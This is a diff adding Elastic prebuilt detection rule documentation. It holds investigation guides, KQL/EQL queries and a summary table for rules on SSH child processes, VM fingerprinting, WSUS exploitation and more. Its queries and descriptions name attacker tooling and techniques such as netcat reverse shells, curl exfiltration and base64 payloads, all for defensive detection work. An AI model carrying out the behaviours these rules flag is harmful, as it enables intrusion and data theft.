unnecessary alerts. +- Custom user environments or shell configurations that deviate from standard shells like bash, zsh, or sh could be flagged. Analyze these configurations and exclude them if they are verified as non-threatening. +- Monitoring tools or security solutions that interact with SSH sessions for logging or auditing purposes might generate alerts. Verify these tools' behavior and exclude their processes if they are part of legitimate monitoring activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious SSHD child processes identified by the alert to halt potential malicious activities. +- Conduct a thorough review of SSH configuration files and access logs to identify unauthorized changes or access patterns, and revert any unauthorized modifications. +- Change all SSH keys and credentials associated with the compromised system to prevent further unauthorized access. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to re-establish persistence. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Review and update firewall rules and access controls to restrict SSH access to only trusted IP addresses and users, reducing the attack surface for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:(ssh or sshd) and process.args_count:2 and +not ( + process.command_line:(-bash or -zsh or -sh) or + process.name:(ractrans or exectask or tty or tput or ferny-askpass or id or ip) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-virtual-machine-fingerprinting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-virtual-machine-fingerprinting.asciidoc new file mode 100644 index 0000000000..c1523e30ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-virtual-machine-fingerprinting.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-10-virtual-machine-fingerprinting]] +=== Virtual Machine Fingerprinting + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting* + + +Virtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field. +- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted. +- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity. +- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting. +- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats. +- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior. +- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe. +- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations. +- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user. +- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise. +- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced. +- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:(start or process_started) and + process.args:("/sys/class/dmi/id/bios_version" or + "/sys/class/dmi/id/product_name" or + "/sys/class/dmi/id/chassis_vendor" or + "/proc/scsi/scsi" or + "/proc/ide/hd0/model") and + not user.name:root + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-windows-server-update-service-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-windows-server-update-service-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..fe41924acf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-windows-server-update-service-spawning-suspicious-processes.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-10-windows-server-update-service-spawning-suspicious-processes]] +=== Windows Server Update Service Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 +* https://hawktrace.com/blog/CVE-2025-59287 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Server Update Service Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- This behavior is rare and should be treated with high suspicion. + + +*Response and remediation* + + +- Immediately isolate the affected Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "rundll32.exe", "curl.exe") and + ( + (process.parent.name : "w3wp.exe" and process.parent.args : "WsusPool") or + process.parent.name : "WsusService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-appendix.asciidoc new file mode 100644 index 0000000000..704c68895e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-appendix.asciidoc @@ -0,0 +1,60 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-10-prebuilt-rules-8-19-10-appendix"] += Downloadable rule update v8.19.10 + +This section lists all updates associated with version 8.19.10 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-10-aws-ec2-export-task.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc[] +include::prebuilt-rule-8-19-10-potential-ssh-password-grabbing-via-strace.asciidoc[] +include::prebuilt-rule-8-19-10-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc[] +include::prebuilt-rule-8-19-10-windows-server-update-service-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-10-suspicious-kerberos-authentication-ticket-request.asciidoc[] +include::prebuilt-rule-8-19-10-agent-spoofing-mismatched-agent-id.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-bucket-server-access-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc[] +include::prebuilt-rule-8-19-10-aws-ec2-full-network-packet-capture-detected.asciidoc[] +include::prebuilt-rule-8-19-10-deprecated-aws-ec2-vm-export-failure.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc[] +include::prebuilt-rule-8-19-10-aws-ec2-encryption-disabled.asciidoc[] +include::prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-access-removed.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-object-versioning-suspended.asciidoc[] +include::prebuilt-rule-8-19-10-aws-s3-static-site-javascript-file-uploaded.asciidoc[] +include::prebuilt-rule-8-19-10-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-high-confidence-content-filter-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-high-denied-topic-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-high-word-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-10-m365-identity-login-from-atypical-travel-location.asciidoc[] +include::prebuilt-rule-8-19-10-m365-identity-login-from-impossible-travel-location.asciidoc[] +include::prebuilt-rule-8-19-10-aws-cli-command-with-custom-endpoint-url.asciidoc[] +include::prebuilt-rule-8-19-10-curl-or-wget-spawned-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-10-ipv4-ipv6-forwarding-activity.asciidoc[] +include::prebuilt-rule-8-19-10-linux-telegram-api-request.asciidoc[] +include::prebuilt-rule-8-19-10-github-authentication-token-access-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-10-potential-hex-payload-execution-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-10-base64-decoded-payload-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc[] +include::prebuilt-rule-8-19-10-suspicious-kernel-feature-activity.asciidoc[] +include::prebuilt-rule-8-19-10-kubectl-permission-discovery.asciidoc[] +include::prebuilt-rule-8-19-10-virtual-machine-fingerprinting.asciidoc[] +include::prebuilt-rule-8-19-10-printer-user-lp-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-10-file-transfer-or-listener-established-via-netcat.asciidoc[] +include::prebuilt-rule-8-19-10-interactive-terminal-spawned-via-perl.asciidoc[] +include::prebuilt-rule-8-19-10-suspicious-named-pipe-creation.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc[] +include::prebuilt-rule-8-19-10-potential-data-exfiltration-through-curl.asciidoc[] +include::prebuilt-rule-8-19-10-suspicious-termination-of-esxi-process.asciidoc[] +include::prebuilt-rule-8-19-10-memory-swap-modification.asciidoc[] +include::prebuilt-rule-8-19-10-high-number-of-process-terminations.asciidoc[] +include::prebuilt-rule-8-19-10-suspicious-apt-package-manager-execution.asciidoc[] +include::prebuilt-rule-8-19-10-git-hook-command-execution.asciidoc[] +include::prebuilt-rule-8-19-10-node-js-pre-or-post-install-script-execution.asciidoc[] +include::prebuilt-rule-8-19-10-pluggable-authentication-module-pam-source-download.asciidoc[] +include::prebuilt-rule-8-19-10-unusual-sshd-child-process.asciidoc[] +include::prebuilt-rule-8-19-10-potential-chroot-container-escape-via-mount.asciidoc[] +include::prebuilt-rule-8-19-10-potential-shell-via-wildcard-injection-detected.asciidoc[] +include::prebuilt-rule-8-19-10-potential-privilege-escalation-through-writable-docker-socket.asciidoc[] +include::prebuilt-rule-8-19-10-delayed-execution-via-ping.asciidoc[] +include::prebuilt-rule-8-19-10-potential-ransomware-behavior-note-files-by-system.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-summary.asciidoc new file mode 100644 index 0000000000..a02dfb8c21 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-summary.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-10-prebuilt-rules-8-19-10-summary]] +[role="xpack"] +== Update v8.19.10 + +This section lists all updates associated with version 8.19.10 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. | new | 1 + +|<> | Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. | new | 1 + +|<> | Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. | new | 1 + +|<> | Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. | new | 1 + +|<> | Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. | new | 1 + +|<> | Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. | new | 1 + +|<> | Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. | update | 104 + +|<> | Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. | update | 6 + +|<> | Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. | update | 5 + +|<> | Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. | update | 8 + +|<> | Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. | update | 210 + +|<> | Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. | update | 210 + +|<> | Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. | update | 6 + +|<> | Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. | update | 210 + +|<> | Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. | update | 3 + +|<> | Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. | update | 6 + +|<> | This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. | update | 5 + +|<> | Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. | update | 7 + +|<> | Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. | update | 9 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 5 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 5 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 5 + +|<> | Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. | update | 8 + +|<> | Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. | update | 8 + +|<> | Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. | update | 5 + +|<> | This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. | update | 2 + +|<> | This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. | update | 106 + +|<> | This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. | update | 3 + +|<> | This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 2 + +|<> | This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. | update | 3 + +|<> | This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. | update | 4 + +|<> | This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. | update | 3 + +|<> | This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. | update | 3 + +|<> | This rule detects the use of the "kubectl auth --can-i" command, which is used to check permissions in Kubernetes clusters. Attackers may use this command to enumerate permissions and discover potential misconfigurations in the cluster, allowing them to gain unauthorized access or escalate privileges. | update | 3 + +|<> | An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. | update | 112 + +|<> | This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. | update | 8 + +|<> | A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. | update | 215 + +|<> | Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. | update | 112 + +|<> | This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that 